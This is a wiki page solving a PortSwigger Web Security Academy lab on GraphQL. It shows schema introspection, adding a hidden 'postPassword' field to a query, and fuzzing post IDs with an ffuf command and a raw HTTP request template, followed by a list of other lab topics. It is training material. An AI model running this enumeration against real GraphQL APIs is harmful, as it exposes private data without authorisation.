-
Notifications
You must be signed in to change notification settings - Fork 0
GraphQL API vulnerabilities
Alnoman Kamil edited this page Nov 23, 2024
·
4 revisions
Apprentice lab:
Accessing private GraphQL posts
Apprentice lab:
Accessing private GraphQL posts
-
Solution
- View a random post.
- Observe the POST request made after clicking on a post, being a GraphQL endpoint.
- Run a full introspection query converting it to JSON using an online converter.
- Paste the response from the full introspection query into a GraphQL Visualizer.
- Notice there is a field
postPassword
. - Add a
postPassword
field in the GraphQL query, notice the response will show the"postPassword":null
. - Fuzz for post
id
.
ffuf -request request.txt -w range.txt -fr "null"
request.txtPOST https://uuid.web-security-academy.net/graphql/v1 HTTP/2.0 user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0 accept: application/json accept-language: en-US,en;q=0.5 accept-encoding: gzip, deflate, br, zstd referer: https://uuid.web-security-academy.net/post?postId=FUZZ content-type: application/json content-length: 285 origin: https://uuid.web-security-academy.net cookie: session=3E9a6r6L5beUVP4B8Zn3WxYRbJM9ww67␍ sec-fetch-dest: empty sec-fetch-mode: cors sec-fetch-site: same-origin priority: u=4 te: trailers { "query": "\n query getBlogPost($id: Int!) {\n getBlogPost(id: $id) {\n image\n title\n author\n date\n paragraphs\n postPassword\n}\n }", "operationName": "getBlogPost", "variables": { "id": FUZZ } }
- Submit post password to the lab.
Solutions for the Portswigger's Web Security Academy using mitmproxy and other cli tools instead of Burp Suite
Server-side topics:
- SQL injection
- Authentication
- File path traversal
- OS command injection
- Business logic vulnerabilities
- Information disclosure
- Access control vulnerabilities
- File upload vulnerabilities
- Race conditions
- Server-side request forgery (SSRF)
- XML external entity (XXE) injection
- NoSQL injection
- API testing
- Web cache deception
Client-side topics:
- Cross-site scripting (XSS)
- Cross-site request forgery (CSRF)
- Cross-origin resource sharing (CORS)
- Clickjacking
- DOM-based vulnerabilities
- WebSockets
Advanced topics: